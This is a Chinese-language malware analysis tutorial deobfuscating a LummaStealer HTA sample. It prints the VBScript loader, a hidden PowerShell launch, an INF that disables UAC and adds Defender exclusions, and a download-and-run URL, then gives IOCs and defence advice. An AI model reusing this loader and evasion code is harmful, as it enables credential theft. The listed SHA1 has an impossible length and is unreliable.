一个LummaStealer样本的反混淆分析
字数 1677 2025-08-29 22:41:24

LummaStealer样本反混淆分析教学文档

1. 样本概述

Lumma Stealer是一款针对Windows系统的信息窃取类恶意软件,主要功能包括:

  • 窃取浏览器Cookies、密码
  • 窃取加密货币钱包信息
  • 收集系统敏感信息

传播方式

  • 钓鱼邮件
  • 恶意广告
  • 破解软件传播

反检测技术

  • 多层混淆
  • 反分析技术
  • 使用合法系统工具规避检测

2. 样本初始分析

样本类型:HTA文件(HTML Application)

2.1 初始代码分析

样本包含VBScript代码,主要结构如下:

Function Atq(ByVal knR) 
    ' 字符解码函数
End Function

Function wPE()
    ' 主执行函数
End Function

Function PvZ(ByVal xpT)
    ' 类型检查函数
End Function

Function NvV(ByVal objectType)
    ' 对象创建函数
End Function

wPE() ' 执行主函数

2.2 关键函数解析

Atq函数 - 字符解码

Function Atq(ByVal knR)
    Dim veG
    Dim oEj
    oEj = 595
    Dim xpT
    xpT = PvZ(knR)
    If xpT = 7000 + 1204 Then
        For Each veG In knR
            Dim hma
            hma = hma & Chr(veG - oEj)
        Next
    End If
    Atq = hma
End Function
  • 功能:将输入数组中的每个数字减去595后转换为ASCII字符
  • 示例输入:Array(682,710,694,709,700,707,711,641,678,699,696,703,703)
  • 输出:Wscript.Shell

NvV函数 - 对象创建

Function NvV(ByVal objectType)
    Set NvV = CreateObject(objectType)
End Function
  • 功能:创建指定类型的COM对象

wPE函数 - 主执行函数

Function wPE()
    Dim knR
    Dim vUw
    vUw = "powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $osJBgA='AAAAAAAAAAAAAAAAAAAAAEDkJGhgMCEdtBzbOahoKRehXhniD6Hff/36dUpdiWTEK5mOjG0myYWyHn9pUwFGqUDQgxSvwr1r1WxbRPlj/yS+a8a1fXx2IdP4jjgjuQbyvkJcRKM4r3evegekIDjj11xRUGOIoyYkFF3b7Z2afFNrz0QCVQ+/PMzSAWf+G0n1fIj6f6PTIGUZLhMtL+YwkP5YYbJIHwUg3utYZe4O3ZObIrkGVgaSiLlM0KdOAv7NRn6O9z0slWh3vO8VkU9rfCTdDLfruFj3QReyHQaly8BiO3Jxsk5M1ovtXti3dJ0tL2/FWvQBDyHeHaFo7etja8SgFEye33WK7LMRu3h3J/JPNg6soUG55ynOYB8b7wubU9SJw4JU8/EiDgSCAUvypOs03yPv8v1xrm/YpCd3WPTDbuywc6wygBR/zzBbGCkPtKp4m44TlAp5yS8WjXAvv6nupWE4xKWGWBbp4vwvr/wg88rtczEJ5gRnjGU2idWSgeYh8bBzY+jJFJUzUSO53qW5qaAKrLflKoNUJyjM44...'"
    Dim xLy
    Set xLy = NvV(Atq(Array(682,710,694,709,700,707,711,641,678,699,696,703,703)))
    xLy.Run(vUw),0,true
    self.close()
End Function
  • 创建Wscript.Shell对象
  • 执行隐藏的PowerShell命令
  • 关闭自身

3. PowerShell载荷分析

3.1 初始PowerShell命令

powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $osJBgA='AAAAAA...'}
  • 以隐藏窗口方式执行PowerShell
  • 包含大段Base64编码数据

3.2 解密分析

解密参数:

  • 加密算法:AES
  • 模式:ECB
  • 填充:无填充(no padding)
  • 密钥:Base64编码
  • 解密数据:从第16字节开始

解密步骤

  1. 提取Base64编码的加密数据
  2. 使用AES-ECB解密
  3. 处理解密后的数据:
    • 转换为十六进制
    • 去除尾部多余的00字节
    • 解压得到最终Payload

4. 最终Payload分析

4.1 主要功能组件

WPIA.ConsoleUtils类

Add-Type @"
using System;
using System.Runtime.InteropServices;
public class WPIA.ConsoleUtils {
    [DllImport("user32.dll")]
    public static extern IntPtr PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
    
    public const uint WM_CHAR = 0x0102;
}
"@
  • 导入user32.dll的PostMessage函数
  • 定义WM_CHAR常量(0x0102)

Set-INFFile函数

function Set-INFFile {
    param(
        [string]$InfFile,
        [string]$InfContent
    )
    # 创建INF文件
    New-Item -Path $InfFile -ItemType File -Force | Out-Null
    # 写入内容
    $InfContent | Out-File -FilePath $InfFile -Encoding ASCII -Force
}
  • 参数:
    • $InfFile: INF文件路径
    • $InfContent: INF文件内容

创建的INF文件内容

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; 关闭UAC
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
; 修改Windows Defender排除规则
powershell -command "Add-MpPreference -ExclusionPath '%AppData%'"

[CustInstDestSectionAllUsers]
49000=AllUserDirID,0
  • 功能:
    • 禁用UAC(用户账户控制)
    • 将%AppData%目录添加到Windows Defender排除列表

4.2 恶意行为

  1. 在%Temp%目录创建CMSTP.inf文件
  2. 在%AppData%目录创建file.exe
  3. 从远程服务器下载恶意文件:
    • URL: http://24.144.70.95/file.exe (已失效)
    • 使用Net.WebClient下载
  4. 执行下载的恶意文件

4.3 解码函数分析

NUL函数

  • 对两个编码数组进行解码
  • 解码结果:
    • 第一个数组:Net.WebClient
    • 第二个数组:http://24.144.70.95/file.exe

5. IOC(威胁指标)

  • 文件哈希

    • MD5: f0d9ef8b557debe5d94338cc84c89bdc
    • SHA1: 54dda938d1b24b8c01cca42f468b1387
  • 网络指标

    • C2服务器: http://24.144.70.95/file.exe

6. 防御建议

  1. 用户教育

    • 不要打开来源不明的HTA文件
    • 警惕钓鱼邮件和恶意广告
  2. 系统加固

    • 保持UAC启用状态
    • 定期检查Windows Defender排除列表
  3. 检测规则

    • 监控%Temp%和%AppData%目录下的可疑文件创建
    • 检测CMSTP.inf等可疑INF文件
    • 监控PowerShell的隐藏执行
  4. 企业防护

    • 实施应用程序白名单
    • 限制PowerShell执行权限
    • 部署EDR解决方案监控可疑行为

7. 分析工具推荐

  1. 静态分析

    • HTA文件分析:oledump.py
    • 脚本反混淆:CyberChef
  2. 动态分析

    • 沙箱:Any.Run, Cuckoo Sandbox
    • 行为监控:Process Monitor, Process Hacker
  3. 网络分析

    • Wireshark
    • Fiddler
  4. 内存分析

    • Volatility
    • Rekall
LummaStealer样本反混淆分析教学文档 1. 样本概述 Lumma Stealer 是一款针对Windows系统的信息窃取类恶意软件,主要功能包括: 窃取浏览器Cookies、密码 窃取加密货币钱包信息 收集系统敏感信息 传播方式 : 钓鱼邮件 恶意广告 破解软件传播 反检测技术 : 多层混淆 反分析技术 使用合法系统工具规避检测 2. 样本初始分析 样本类型:HTA文件(HTML Application) 2.1 初始代码分析 样本包含VBScript代码,主要结构如下: 2.2 关键函数解析 Atq函数 - 字符解码 功能:将输入数组中的每个数字减去595后转换为ASCII字符 示例输入: Array(682,710,694,709,700,707,711,641,678,699,696,703,703) 输出: Wscript.Shell NvV函数 - 对象创建 功能:创建指定类型的COM对象 wPE函数 - 主执行函数 创建Wscript.Shell对象 执行隐藏的PowerShell命令 关闭自身 3. PowerShell载荷分析 3.1 初始PowerShell命令 以隐藏窗口方式执行PowerShell 包含大段Base64编码数据 3.2 解密分析 解密参数: 加密算法:AES 模式:ECB 填充:无填充(no padding) 密钥:Base64编码 解密数据:从第16字节开始 解密步骤 : 提取Base64编码的加密数据 使用AES-ECB解密 处理解密后的数据: 转换为十六进制 去除尾部多余的00字节 解压得到最终Payload 4. 最终Payload分析 4.1 主要功能组件 WPIA.ConsoleUtils类 导入user32.dll的PostMessage函数 定义WM_ CHAR常量(0x0102) Set-INFFile函数 参数: $InfFile : INF文件路径 $InfContent : INF文件内容 创建的INF文件内容 : 功能: 禁用UAC(用户账户控制) 将%AppData%目录添加到Windows Defender排除列表 4.2 恶意行为 在%Temp%目录创建CMSTP.inf文件 在%AppData%目录创建file.exe 从远程服务器下载恶意文件: URL: http://24.144.70.95/file.exe (已失效) 使用Net.WebClient下载 执行下载的恶意文件 4.3 解码函数分析 NUL函数 : 对两个编码数组进行解码 解码结果: 第一个数组: Net.WebClient 第二个数组: http://24.144.70.95/file.exe 5. IOC(威胁指标) 文件哈希 : MD5: f0d9ef8b557debe5d94338cc84c89bdc SHA1: 54dda938d1b24b8c01cca42f468b1387 网络指标 : C2服务器: http://24.144.70.95/file.exe 6. 防御建议 用户教育 : 不要打开来源不明的HTA文件 警惕钓鱼邮件和恶意广告 系统加固 : 保持UAC启用状态 定期检查Windows Defender排除列表 检测规则 : 监控%Temp%和%AppData%目录下的可疑文件创建 检测CMSTP.inf等可疑INF文件 监控PowerShell的隐藏执行 企业防护 : 实施应用程序白名单 限制PowerShell执行权限 部署EDR解决方案监控可疑行为 7. 分析工具推荐 静态分析 : HTA文件分析: oledump.py 脚本反混淆: CyberChef 动态分析 : 沙箱: Any.Run , Cuckoo Sandbox 行为监控: Process Monitor , Process Hacker 网络分析 : Wireshark Fiddler 内存分析 : Volatility Rekall